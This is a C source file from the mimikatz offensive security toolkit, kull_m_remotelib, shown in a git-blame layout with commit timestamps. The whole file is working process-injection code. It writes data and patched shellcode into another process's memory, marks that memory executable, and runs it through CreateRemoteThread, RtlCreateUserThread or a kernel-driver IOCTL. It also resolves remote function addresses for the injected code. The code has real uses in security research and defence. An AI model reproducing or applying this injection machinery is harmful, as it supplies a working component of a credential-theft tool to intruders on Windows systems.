2014-05-24 20:16:46 +00:00
|
|
|
/* Benjamin DELPY `gentilkiwi`
|
|
|
|
http://blog.gentilkiwi.com
|
|
|
|
benjamin@gentilkiwi.com
|
|
|
|
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
|
|
|
*/
|
|
|
|
#include "kull_m_remotelib.h"
|
|
|
|
|
2015-05-23 21:49:04 +00:00
|
|
|
PREMOTE_LIB_INPUT_DATA kull_m_remotelib_CreateInput(PVOID inputVoid, DWORD inputDword, DWORD inputSize, LPCVOID inputData)
|
2014-05-24 20:16:46 +00:00
|
|
|
{
|
2014-08-31 16:49:49 +00:00
|
|
|
PREMOTE_LIB_INPUT_DATA iData;
|
|
|
|
if(iData = (PREMOTE_LIB_INPUT_DATA) LocalAlloc(LPTR, FIELD_OFFSET(REMOTE_LIB_INPUT_DATA, inputData) + inputSize))
|
2014-05-24 20:16:46 +00:00
|
|
|
{
|
2014-08-31 16:49:49 +00:00
|
|
|
iData->inputVoid = inputVoid;
|
|
|
|
iData->inputDword = inputDword;
|
|
|
|
if(inputSize && inputData)
|
2014-05-24 20:16:46 +00:00
|
|
|
{
|
2014-08-31 16:49:49 +00:00
|
|
|
iData->inputSize = inputSize;
|
|
|
|
RtlCopyMemory(iData->inputData, inputData, inputSize);
|
2014-05-24 20:16:46 +00:00
|
|
|
}
|
|
|
|
}
|
2014-08-31 16:49:49 +00:00
|
|
|
return iData;
|
2014-05-24 20:16:46 +00:00
|
|
|
}
|
|
|
|
|
2014-08-31 16:49:49 +00:00
|
|
|
BOOL kull_m_remotelib_create(PKULL_M_MEMORY_ADDRESS aRemoteFunc, PREMOTE_LIB_INPUT_DATA input, PREMOTE_LIB_OUTPUT_DATA output)
|
2014-05-24 20:16:46 +00:00
|
|
|
{
|
|
|
|
BOOL success = FALSE;
|
|
|
|
NTSTATUS status;
|
2014-08-31 16:49:49 +00:00
|
|
|
HANDLE hThread;
|
2014-05-24 20:16:46 +00:00
|
|
|
KULL_M_MEMORY_HANDLE hLocalBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL};
|
|
|
|
KULL_M_MEMORY_ADDRESS aRemoteData = {NULL, aRemoteFunc->hMemory}, aSuppData = {NULL, aRemoteFunc->hMemory}, aLocalAddr = {NULL, &hLocalBuffer};
|
2014-08-31 16:49:49 +00:00
|
|
|
PREMOTE_LIB_DATA data;
|
|
|
|
REMOTE_LIB_OUTPUT_DATA oData;
|
2014-06-07 19:24:10 +00:00
|
|
|
MIMIDRV_THREAD_INFO drvInfo = {(PTHREAD_START_ROUTINE) aRemoteFunc->address, NULL};
|
2014-08-31 16:49:49 +00:00
|
|
|
DWORD size = FIELD_OFFSET(REMOTE_LIB_DATA, input.inputData) + input->inputSize;
|
|
|
|
|
|
|
|
if(!output)
|
|
|
|
output = &oData;
|
|
|
|
//kprintf(L"\ninput\n"
|
|
|
|
// L".void = 0x%p\n"
|
|
|
|
// L".dword = 0x%08x - %u\n"
|
|
|
|
// L".size = %u\n"
|
|
|
|
// L".data[] = [ ",
|
|
|
|
// input->inputVoid, input->inputDword, input->inputDword, input->inputSize);
|
|
|
|
//kull_m_string_wprintf_hex(input->inputData, input->inputSize, 1);
|
|
|
|
//kprintf(L"]\n");
|
|
|
|
if(data = (PREMOTE_LIB_DATA) LocalAlloc(LPTR, size))
|
2014-05-24 20:16:46 +00:00
|
|
|
{
|
2014-08-31 16:49:49 +00:00
|
|
|
RtlCopyMemory(&data->input, input, FIELD_OFFSET(REMOTE_LIB_INPUT_DATA, inputData) + input->inputSize);
|
|
|
|
if(kull_m_memory_alloc(&aRemoteData, size, PAGE_READWRITE))
|
2014-06-07 19:24:10 +00:00
|
|
|
{
|
2014-08-31 16:49:49 +00:00
|
|
|
aLocalAddr.address = data;
|
|
|
|
if(kull_m_memory_copy(&aRemoteData, &aLocalAddr, size))
|
2014-05-24 20:16:46 +00:00
|
|
|
{
|
2014-08-31 16:49:49 +00:00
|
|
|
switch(aRemoteFunc->hMemory->type)
|
2014-06-07 19:24:10 +00:00
|
|
|
{
|
2014-08-31 16:49:49 +00:00
|
|
|
case KULL_M_MEMORY_TYPE_PROCESS:
|
|
|
|
if(MIMIKATZ_NT_MAJOR_VERSION > 5)
|
2014-06-07 19:24:10 +00:00
|
|
|
{
|
2014-08-31 16:49:49 +00:00
|
|
|
status = RtlCreateUserThread(aRemoteFunc->hMemory->pHandleProcess->hProcess, NULL, 0, 0, 0, 0, (PTHREAD_START_ROUTINE) aRemoteFunc->address, aRemoteData.address, &hThread, NULL);
|
|
|
|
if(!NT_SUCCESS(status))
|
|
|
|
{
|
|
|
|
hThread = NULL;
|
|
|
|
PRINT_ERROR(L"RtlCreateUserThread (0x%08x)\n", status);
|
|
|
|
}
|
2014-06-07 19:24:10 +00:00
|
|
|
}
|
2014-08-31 16:49:49 +00:00
|
|
|
else if(!(hThread = CreateRemoteThread(aRemoteFunc->hMemory->pHandleProcess->hProcess, NULL, 0, (PTHREAD_START_ROUTINE) aRemoteFunc->address, aRemoteData.address, 0, NULL)))
|
|
|
|
PRINT_ERROR_AUTO(L"CreateRemoteThread");
|
2014-06-07 19:24:10 +00:00
|
|
|
|
2014-08-31 16:49:49 +00:00
|
|
|
if(hThread)
|
|
|
|
{
|
|
|
|
WaitForSingleObject(hThread, INFINITE);
|
|
|
|
success = CloseHandle(hThread);
|
|
|
|
}
|
|
|
|
break;
|
|
|
|
|
|
|
|
case KULL_M_MEMORY_TYPE_KERNEL:
|
|
|
|
drvInfo.pArg = aRemoteData.address;
|
|
|
|
kprintf(L"Th @ %p\nDa @ %p\n", drvInfo.pRoutine, drvInfo.pArg);
|
|
|
|
if(!(success = kull_m_kernel_ioctl_handle(aRemoteFunc->hMemory->pHandleDriver->hDriver, IOCTL_MIMIDRV_CREATEREMOTETHREAD, &drvInfo, sizeof(MIMIDRV_THREAD_INFO), NULL, NULL, FALSE)))
|
|
|
|
PRINT_ERROR_AUTO(L"kull_m_kernel_ioctl_handle");
|
|
|
|
break;
|
2014-05-24 20:16:46 +00:00
|
|
|
}
|
2015-05-23 21:49:04 +00:00
|
|
|
|
2014-08-31 16:49:49 +00:00
|
|
|
if(success)
|
2014-05-24 20:16:46 +00:00
|
|
|
{
|
2014-08-31 16:49:49 +00:00
|
|
|
aLocalAddr.address = output;
|
|
|
|
if(success = kull_m_memory_copy(&aLocalAddr, &aRemoteData, sizeof(REMOTE_LIB_OUTPUT_DATA)))
|
2014-05-24 20:16:46 +00:00
|
|
|
{
|
2014-08-31 16:49:49 +00:00
|
|
|
//kprintf(L"\noutput\n"
|
|
|
|
// L".void = 0x%p\n"
|
|
|
|
// L".dword = 0x%08x - %u\n"
|
|
|
|
// L".status = 0x%08x - %u\n"
|
|
|
|
// L".size = %u\n"
|
|
|
|
// L".data = 0x%p\n",
|
|
|
|
// output->outputVoid, output->outputDword, output->outputDword, output->outputStatus, output->outputStatus, output->outputSize, output->outputData);
|
|
|
|
if(aSuppData.address = output->outputData)
|
2014-05-24 20:16:46 +00:00
|
|
|
{
|
2014-08-31 16:49:49 +00:00
|
|
|
if(output != &oData)
|
2014-06-07 19:24:10 +00:00
|
|
|
{
|
2014-08-31 16:49:49 +00:00
|
|
|
success = FALSE;
|
|
|
|
output->outputData = NULL;
|
|
|
|
if(output->outputSize)
|
2014-08-30 19:56:18 +00:00
|
|
|
{
|
2014-08-31 16:49:49 +00:00
|
|
|
if(aLocalAddr.address = LocalAlloc(LPTR, output->outputSize))
|
|
|
|
{
|
|
|
|
if(success = kull_m_memory_copy(&aLocalAddr, &aSuppData, output->outputSize))
|
|
|
|
{
|
|
|
|
output->outputData = aLocalAddr.address;
|
|
|
|
//kprintf(L"\t[ "); kull_m_string_wprintf_hex(output->outputData, output->outputSize, 1); kprintf(L"]\n");
|
|
|
|
}
|
|
|
|
else
|
|
|
|
LocalFree(aLocalAddr.address);
|
|
|
|
}
|
2014-08-30 19:56:18 +00:00
|
|
|
}
|
2014-08-31 16:49:49 +00:00
|
|
|
if(!success)
|
|
|
|
output->outputSize = 0;
|
2014-06-07 19:24:10 +00:00
|
|
|
}
|
2014-08-30 19:56:18 +00:00
|
|
|
kull_m_memory_free(&aSuppData, 0);
|
2014-05-24 20:16:46 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
2014-08-31 16:49:49 +00:00
|
|
|
kull_m_memory_free(&aRemoteData, 0);
|
2014-05-24 20:16:46 +00:00
|
|
|
}
|
2015-05-23 21:49:04 +00:00
|
|
|
|
2014-08-31 16:49:49 +00:00
|
|
|
LocalFree(data);
|
|
|
|
}
|
2014-11-20 07:57:04 +00:00
|
|
|
return success;
|
2014-05-25 19:37:38 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
BOOL CALLBACK kull_m_remotelib_exports_callback_module_exportedEntry(PKULL_M_PROCESS_EXPORTED_ENTRY pExportedEntryInformations, PVOID pvArg)
|
|
|
|
{
|
|
|
|
PREMOTE_EXT extension = (PREMOTE_EXT) pvArg;
|
|
|
|
if(pExportedEntryInformations->name)
|
2014-05-26 06:06:48 +00:00
|
|
|
if(_stricmp(extension->Function, pExportedEntryInformations->name) == 0)
|
2014-05-25 19:37:38 +00:00
|
|
|
{
|
|
|
|
extension->Pointer = pExportedEntryInformations->function.address;
|
|
|
|
return FALSE;
|
|
|
|
}
|
|
|
|
return TRUE;
|
|
|
|
}
|
|
|
|
|
|
|
|
BOOL CALLBACK kull_m_remotelib_exports_callback_module(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg)
|
|
|
|
{
|
|
|
|
DWORD i;
|
|
|
|
PMULTIPLE_REMOTE_EXT extForCb = (PMULTIPLE_REMOTE_EXT) pvArg;
|
|
|
|
|
|
|
|
for(i = 0; i < extForCb->count; i++)
|
|
|
|
{
|
|
|
|
if(extForCb->extensions[i].Pointer)
|
|
|
|
continue;
|
|
|
|
|
|
|
|
if(_wcsicmp(pModuleInformation->NameDontUseOutsideCallback->Buffer, extForCb->extensions[i].Module) == 0)
|
|
|
|
if(kull_m_process_getExportedEntryInformations(&pModuleInformation->DllBase, kull_m_remotelib_exports_callback_module_exportedEntry, extForCb->extensions + i) || !extForCb->extensions[i].Pointer)
|
|
|
|
return FALSE;
|
|
|
|
}
|
|
|
|
return TRUE;
|
|
|
|
}
|
|
|
|
|
|
|
|
BOOL kull_m_remotelib_GetProcAddressMultipleModules(PKULL_M_MEMORY_HANDLE hProcess, PMULTIPLE_REMOTE_EXT extForCb)
|
|
|
|
{
|
|
|
|
DWORD i;
|
|
|
|
BOOL success;
|
|
|
|
kull_m_process_getVeryBasicModuleInformations(hProcess, kull_m_remotelib_exports_callback_module, extForCb);
|
|
|
|
for(i = 0, success = TRUE; (i < extForCb->count) && success; success &= (extForCb->extensions[i++].Pointer != NULL));
|
|
|
|
return success;
|
|
|
|
}
|
|
|
|
|
|
|
|
BOOL kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(PKULL_M_MEMORY_HANDLE hProcess, LPCVOID Buffer, DWORD BufferSize, PMULTIPLE_REMOTE_EXT RemoteExt, PKULL_M_MEMORY_ADDRESS DestAddress)
|
|
|
|
{
|
|
|
|
BOOL success = FALSE;
|
|
|
|
DWORD i, j;
|
|
|
|
KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL};
|
2014-06-07 19:24:10 +00:00
|
|
|
KULL_M_MEMORY_ADDRESS aLocalAddr = {(LPVOID) Buffer, &hLocalMemory};
|
2014-05-25 19:37:38 +00:00
|
|
|
|
|
|
|
DestAddress->hMemory = hProcess;
|
|
|
|
DestAddress->address = NULL;
|
2014-06-07 19:24:10 +00:00
|
|
|
|
2014-05-25 19:37:38 +00:00
|
|
|
if(RemoteExt)
|
|
|
|
{
|
|
|
|
if(kull_m_remotelib_GetProcAddressMultipleModules(hProcess, RemoteExt))
|
|
|
|
{
|
2014-05-28 16:00:36 +00:00
|
|
|
if(aLocalAddr.address = LocalAlloc(LPTR, BufferSize))
|
2014-05-25 19:37:38 +00:00
|
|
|
{
|
2014-05-28 16:00:36 +00:00
|
|
|
RtlCopyMemory(aLocalAddr.address, Buffer, BufferSize);
|
|
|
|
for(i = 0; i < BufferSize - sizeof(PVOID); i++)
|
2014-05-25 19:37:38 +00:00
|
|
|
{
|
2014-05-28 16:00:36 +00:00
|
|
|
for(j = 0; j < RemoteExt->count; j++)
|
2014-05-25 19:37:38 +00:00
|
|
|
{
|
2014-05-28 16:00:36 +00:00
|
|
|
if((PVOID) RemoteExt->extensions[j].ToReplace == *(PVOID *) ((PBYTE) aLocalAddr.address + i))
|
|
|
|
{
|
|
|
|
*(PVOID *) ((PBYTE) aLocalAddr.address + i) = RemoteExt->extensions[j].Pointer;
|
|
|
|
//kprintf(L"Found =) - %.*S - %s!%S -> %p\n", sizeof(PVOID), &RemoteExt->extensions[j].ToReplace, RemoteExt->extensions[j].Module, RemoteExt->extensions[j].Function, *(PVOID *) ((PBYTE) aLocalAddr.address + i));
|
|
|
|
i += sizeof(PVOID) - 1;
|
|
|
|
}
|
2014-05-25 19:37:38 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
if(aLocalAddr.address)
|
|
|
|
{
|
|
|
|
if(kull_m_memory_alloc(DestAddress, BufferSize, PAGE_EXECUTE_READWRITE))
|
|
|
|
{
|
|
|
|
if(!(success = kull_m_memory_copy(DestAddress, &aLocalAddr, BufferSize)))
|
|
|
|
{
|
|
|
|
PRINT_ERROR_AUTO(L"kull_m_memory_copy");
|
|
|
|
kull_m_memory_free(DestAddress, 0);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
else PRINT_ERROR_AUTO(L"kull_m_memory_alloc / VirtualAlloc(Ex)");
|
|
|
|
|
|
|
|
if(RemoteExt)
|
|
|
|
LocalFree(aLocalAddr.address);
|
|
|
|
}
|
|
|
|
else PRINT_ERROR(L"No buffer ?\n");
|
|
|
|
return success;
|
2014-05-24 20:16:46 +00:00
|
|
|
}
|